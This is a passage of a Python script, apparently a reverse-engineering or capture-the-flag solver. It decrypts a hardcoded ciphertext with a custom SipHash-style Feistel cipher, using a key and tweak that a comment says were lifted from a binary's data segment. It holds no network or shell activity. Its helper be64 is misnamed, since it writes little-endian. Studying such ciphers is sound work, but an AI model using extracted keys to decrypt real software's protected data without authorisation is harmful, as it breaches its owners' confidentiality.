    v2 = 0x01f32d1f4361f48e ^ k0
    v3 = ((round_i & 0xFF) << 56) ^ tw ^ k1
    v3 ^= X
    v0, v1, v2, v3 = sipround(v0, v1, v2, v3)
    v0 ^= X
    v2 ^= 16
    v0, v1, v2, v3 = sipround(v0, v1, v2, v3)
    v0, v1, v2, v3 = sipround(v0, v1, v2, v3)
    return (v0 ^ v1 ^ v2 ^ v3) & MASK64

def sigma(L):
    X = L & 0xffffffff
    return ((X << 32) | (((L >> 32) ^ X) & 0xffffffff)) & MASK64

def unsigma(L):
    X = (L >> 32) & 0xffffffff  # upper 32
    Y = L & 0xffffffff          # lower 32
    return (((Y ^ X) << 32) | X) & MASK64

def le64(b): return int.from_bytes(b, 'little')
def be64(x): return x.to_bytes(8, 'little')

# Keys/tweak lifted from .data segment
KEY  = bytes.fromhex("3d1790908e448599b0829e584cf2cd56")
TWEAK = bytes.fromhex("aa12de3344b4c6f8")

def decrypt_block(ct16, key=KEY, tweak=TWEAK):
    k0 = le64(key[:8]); k1 = le64(key[8:])
    tw = le64(tweak)
    L = le64(ct16[:8]); R = le64(ct16[8:])
    for i in (3, 2, 1, 0):
        L = unsigma(L)
        X = sha4(i, k0, k1, tw, L ^ R)
        L ^= X; R ^= X
    return be64(L) + be64(R)

def decrypt(hex_str, key=KEY, tweak=TWEAK):
    h = ''.join(hex_str.split()).lower()
    if len(h) % 32 != 0:
        raise ValueError("Ciphertext hex length must be a multiple of 32 (16 bytes per block).")
    data = unhexlify(h)
    out = bytearray()
    for off in range(0, len(data), 16):
        out += decrypt_block(data[off:off+16], key, tweak)
    return bytes(out)

def pretty_ascii(b):
    return ''.join(chr(x) if 32 <= x < 127 else '.' for x in b)

if __name__ == "__main__":
    ct_hex = "2f012a1e13a9a54b103424d8873cf1685e61ccc93f9dcae98e7b8f3ed0f862a66c72df99dcf517982af398a726d8d22f881635d66b8d0a5c67582f397a88f8b3131a5bab38430b60a068eaeb3638712f9376b89eb05adb31e8a8472f5060aab8ab880ed106e9d743cc34f7a593b25283bfcc23d8f03ddf79fa319ed355c85e9779ae9ee61878f0832c9b5825a664c8f922303edc220256435fdff0b650d7ea6c88f2961aa53da9f69bb7849f582c79794e5d6aa9bf2f3210013d5bb7c8a2b819dfa8a1ee0f1cf71172995895e5778796624178017ea89df5f949f7bf7a800a7a740d6070117f1742b41eb8cb5bc7f02b42a4476da7657deacf13147e1b879d40d20d0fd34c6d055aca1368b3803384c74d8108b1c58f14d77dc10b3e6d9a095aa9e13ec09f009a7c97e2cd9d883bab15de027e8ffe45552941f2f9e33e16b0f0afe3abbc865ff7c629ca794e4e1c159c53a0174a57f4f94b979e8551796a1418548916de67c13cf83400427edfcce65f41582ea54541f1dacf2a65b90607e123c2718f610e0ae2527ea40b3ad82a6692896d36b65a1e465bb7abcbaf7f44017f8d3535d4c1beeb3ed5be6a061fa3e6d9e656e910f7ed9a3080d7f044786c9a86e54ed1d87c03dde9c8b70703e6376aa65bcc02690a67cbaf1b0cbb3b944383bd87f6ab3f9aa2c29a3a2f260f844ee064ec3ed0e3c84c63979507e9ab3e7e94af9088d622aea6ca505048e859bef1138e5fa9115d1aab7249345aa0e356c781da361f8599a6ae63103f0c5f4754b2e8ce9b43c90e069aef908353b2db47722906bc097009d2fe651f1c9034d7782bd75a4a44050e46d7bcf93038ae1c1da11b5f07bbf8e1f56c26250b1b3636b5f884a5f0176bad7f1a1c74dad8c99e06f691686ce428e71b6cf62143c7e5b6aeb19fe68912bd8183287fec70205eba34fda3a873cdf753ac8389817610a93a04e5478de9a7246d157ac33033d12bb622f266ec6e332b816c87a4ff31adc191a5e7e548eed8ea93ddb5c77cf2ab8c1ab398bfd2ec86b3164fd546e41dbe3ec1054efb632c77fea51e6bd14c10185c8d963d84d9805faabc76bb5a1adbf6be795f4fc57d9bf3527cb0fa90afd1c1f83863161f33ea452c78c298ef1920bc54f7b24c4de64a3aa2312c338dc49efd3bb37029db5680049c85cbc803cc4ef1a013c435e529333f29faffe7fee727c86c08279e6d31005951c55dc571509ac997e24965caea41a3ebd6e99fa3280c0f499774abe2e85abb329a01f55692c12d6acc0bc81d870e584c58d5f3187b967bad9ceb02ab07a130f2864e7663926a1e8885ee76294eaf346e5c8cb0335bc58b1e6f47476448e081e25e09407e4ca6a7f00876843a1494e1c93778d23b7832d3a7d66fa69fb2589ba1f3af974d1dd651b5f7b718f924dc661ead149e9fbd6f11dced48e934f0"
    pt = decrypt(ct_hex)
    print("PT hex  :", hexlify(pt).decode())
    print("PT ascii:", pretty_ascii(pt))

```


